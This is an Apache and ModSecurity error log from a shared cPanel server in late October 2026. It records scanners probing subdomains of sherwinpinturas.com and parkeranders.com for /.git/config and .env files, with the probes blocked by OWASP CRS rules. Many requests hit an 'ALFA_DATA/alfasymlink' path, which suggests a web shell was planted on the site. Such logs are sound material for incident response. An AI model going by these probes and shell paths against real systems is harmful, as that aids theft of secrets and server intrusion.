[Mon Oct 26 23:48:42.135941 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 54.147.80.137:38575] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:48:49.172852 2026] [security2:error] [pid 3152940:tid 3152940] [client 107.172.76.131:57485] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAfFXqFfbazysLpfsTwjQAAAA8"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:48:49.172905 2026] [security2:error] [pid 3152940:tid 3152940] [client 107.172.76.131:57485] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAfFXqFfbazysLpfsTwjQAAAA8"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:48:50.155983 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 3.218.103.254:32643] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:49:02.141550 2026] [ssl:error] [pid 3153407:tid 3153407] (70014)End of file found: [client 3.94.156.104:23203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:49:42.146117 2026] [ssl:error] [pid 3153407:tid 3153407] (70014)End of file found: [client 3.94.157.25:25582] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:49:46.139818 2026] [core:error] [pid 3154105:tid 3154105] (13)Permission denied: [client 52.205.113.104:58421] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:11/subsystem/uevent
[Mon Oct 26 23:49:49.008665 2026] [core:error] [pid 3153798:tid 3153798] (13)Permission denied: [client 185.191.171.6:44940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/shrink
[Mon Oct 26 23:49:59.804508 2026] [core:error] [pid 3154108:tid 3154108] (13)Permission denied: [client 85.208.96.204:17498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/alloc_calls
[Mon Oct 26 23:50:07.264669 2026] [core:error] [pid 3153096:tid 3153096] (13)Permission denied: [client 185.191.171.19:44452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/free_calls
[Mon Oct 26 23:50:50.286869 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 18.235.81.246:5583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:51:10.140662 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 18.235.81.246:26484] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:51:14.293101 2026] [ssl:error] [pid 3153407:tid 3153407] (70014)End of file found: [client 23.23.213.182:18238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:51:22.131662 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 34.239.85.139:7059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:51:30.292897 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 100.29.160.53:57556] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:51:32.300008 2026] [security2:error] [pid 3146365:tid 3146365] [client 107.172.76.131:57454] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAfuOD6ex2mTn4X02d8FwAAAAs"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 23:51:32.300060 2026] [security2:error] [pid 3146365:tid 3146365] [client 107.172.76.131:57454] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAfuOD6ex2mTn4X02d8FwAAAAs"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 23:51:50.320966 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 3.221.222.168:9214] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:51:54.142807 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 100.28.133.214:6997] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/module/drm/sections/__jump_table
[Mon Oct 26 23:52:02.169010 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 3.219.81.66:22123] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:52:14.132591 2026] [ssl:error] [pid 3154107:tid 3154107] (70014)End of file found: [client 34.195.60.66:36372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:52:18.228598 2026] [ssl:error] [pid 3153798:tid 3153798] (70014)End of file found: [client 54.156.124.2:11937] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:52:22.294898 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 35.169.119.108:12312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:52:26.193859 2026] [ssl:error] [pid 3154107:tid 3154107] (70014)End of file found: [client 52.202.233.37:10431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:52:28.434234 2026] [security2:error] [pid 3153401:tid 3153401] [client 159.89.81.7:39360] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.git/config"] [unique_id "auAf_OuoB0GVoK5weEOLHQAAABo"]
[Mon Oct 26 23:52:28.434522 2026] [security2:error] [pid 3153401:tid 3153401] [client 159.89.81.7:39360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.git/config"] [unique_id "auAf_OuoB0GVoK5weEOLHQAAABo"]
[Mon Oct 26 23:52:28.435539 2026] [security2:error] [pid 3153401:tid 3153401] [client 159.89.81.7:39360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "auAf_OuoB0GVoK5weEOLHQAAABo"]
[Mon Oct 26 23:52:30.163539 2026] [core:error] [pid 3153395:tid 3153395] (13)Permission denied: [client 54.145.82.217:28841] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:05/subsystem/uevent
[Mon Oct 26 23:52:46.125024 2026] [core:error] [pid 3154105:tid 3154105] (13)Permission denied: [client 3.90.73.206:47939] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:04.0/firmware_node/eject
[Mon Oct 26 23:52:50.185138 2026] [ssl:error] [pid 3153407:tid 3153407] (70014)End of file found: [client 52.71.46.142:25614] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:52:54.154343 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 3.94.40.182:34662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:52:58.324565 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 54.156.55.147:65360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:53:02.084659 2026] [core:error] [pid 3154107:tid 3154107] (13)Permission denied: [client 85.208.96.193:18018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/trace
[Mon Oct 26 23:53:02.232870 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 98.82.39.241:21540] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:53:07.258878 2026] [security2:error] [pid 3152927:tid 3152927] [client 176.65.132.239:38076] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgI-n4bIWiIXBuaEF_CgAAAAI"]
[Mon Oct 26 23:53:07.259145 2026] [security2:error] [pid 3152927:tid 3152927] [client 176.65.132.239:38076] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgI-n4bIWiIXBuaEF_CgAAAAI"]
[Mon Oct 26 23:53:07.259443 2026] [security2:error] [pid 3152927:tid 3152927] [client 176.65.132.239:38076] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgI-n4bIWiIXBuaEF_CgAAAAI"]
[Mon Oct 26 23:53:07.316389 2026] [security2:error] [pid 3153407:tid 3153407] [client 176.65.132.239:38066] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgIxnOVh4RLrkQvo0jzQAAACA"]
[Mon Oct 26 23:53:07.316651 2026] [security2:error] [pid 3153407:tid 3153407] [client 176.65.132.239:38066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgIxnOVh4RLrkQvo0jzQAAACA"]
[Mon Oct 26 23:53:07.316941 2026] [security2:error] [pid 3153407:tid 3153407] [client 176.65.132.239:38066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgIxnOVh4RLrkQvo0jzQAAACA"]
[Mon Oct 26 23:53:07.337847 2026] [security2:error] [pid 3153096:tid 3153096] [client 176.65.132.239:38086] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgI0ru4PqRFVomP2nL6AAAAA0"]
[Mon Oct 26 23:53:07.338161 2026] [security2:error] [pid 3153096:tid 3153096] [client 176.65.132.239:38086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgI0ru4PqRFVomP2nL6AAAAA0"]
[Mon Oct 26 23:53:07.338416 2026] [security2:error] [pid 3153096:tid 3153096] [client 176.65.132.239:38086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgI0ru4PqRFVomP2nL6AAAAA0"]
[Mon Oct 26 23:53:08.332279 2026] [security2:error] [pid 3146389:tid 3146389] [client 176.65.132.239:38090] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgJOJUkwm96ZYHDUs2LwAAABE"]
[Mon Oct 26 23:53:08.332490 2026] [security2:error] [pid 3146389:tid 3146389] [client 176.65.132.239:38090] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgJOJUkwm96ZYHDUs2LwAAABE"]
[Mon Oct 26 23:53:08.332774 2026] [security2:error] [pid 3146389:tid 3146389] [client 176.65.132.239:38090] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAgJOJUkwm96ZYHDUs2LwAAABE"]
[Mon Oct 26 23:53:10.141868 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 3.213.213.161:33391] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:53:14.197109 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 100.29.128.75:42570] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:53:26.338233 2026] [ssl:error] [pid 3154107:tid 3154107] (70014)End of file found: [client 52.2.4.213:26284] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:53:38.125749 2026] [core:error] [pid 3153401:tid 3153401] (13)Permission denied: [client 44.213.36.21:60261] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/module/uevent
[Mon Oct 26 23:53:46.128475 2026] [ssl:error] [pid 3153798:tid 3153798] (70014)End of file found: [client 34.195.248.30:13382] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:53:54.277759 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 3.212.86.97:50376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:54:04.614339 2026] [core:error] [pid 3147513:tid 3147513] (13)Permission denied: [client 85.208.96.209:56984] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/slabs
[Mon Oct 26 23:54:06.141005 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 3.209.174.110:36165] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:54:13.003895 2026] [core:error] [pid 3153401:tid 3153401] (13)Permission denied: [client 85.208.96.209:23630] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/aliases
[Mon Oct 26 23:54:18.149151 2026] [ssl:error] [pid 3153798:tid 3153798] (70014)End of file found: [client 44.212.145.46:27403] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:54:24.270580 2026] [security2:error] [pid 3149482:tid 3149482] [client 107.172.76.131:57447] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAgYzNB9i90nPiYh7BZwAAAAA4"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 23:54:24.270625 2026] [security2:error] [pid 3149482:tid 3149482] [client 107.172.76.131:57447] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAgYzNB9i90nPiYh7BZwAAAAA4"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 23:54:30.117686 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 44.209.187.99:20198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:54:34.157461 2026] [ssl:error] [pid 3154105:tid 3154105] (70014)End of file found: [client 52.0.105.244:4682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:54:38.180673 2026] [security2:error] [pid 3153407:tid 3153407] [client 139.155.159.86:56248] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "auAgfhnOVh4RLrkQvo0jzgAAACA"]
[Mon Oct 26 23:54:46.138871 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 23.21.179.27:52799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:55:18.151953 2026] [ssl:error] [pid 3153798:tid 3153798] (70014)End of file found: [client 23.23.212.212:60155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:55:26.333260 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 3.213.213.161:56701] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:55:34.170577 2026] [ssl:error] [pid 3153798:tid 3153798] (70014)End of file found: [client 34.234.200.207:57758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:55:38.140171 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 34.195.248.30:9689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:55:46.304481 2026] [authz_core:error] [pid 3153096:tid 3153096] [client 54.91.122.193:31524] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Mon Oct 26 23:56:10.136155 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 44.221.105.234:40640] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:56:14.173125 2026] [ssl:error] [pid 3146365:tid 3146365] (5)Input/output error: [client 23.22.105.143:5744] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:56:16.493558 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAg4DDjgyCtC8OqdBtuRQAAAAc"]
[Mon Oct 26 23:56:16.493852 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAg4DDjgyCtC8OqdBtuRQAAAAc"]
[Mon Oct 26 23:56:16.494124 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAg4DDjgyCtC8OqdBtuRQAAAAc"]
[Mon Oct 26 23:56:16.911327 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAg4DDjgyCtC8OqdBtuRwAAAAc"]
[Mon Oct 26 23:56:16.911607 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAg4DDjgyCtC8OqdBtuRwAAAAc"]
[Mon Oct 26 23:56:16.911880 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAg4DDjgyCtC8OqdBtuRwAAAAc"]
[Mon Oct 26 23:56:17.124942 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAg4TDjgyCtC8OqdBtuSAAAAAc"]
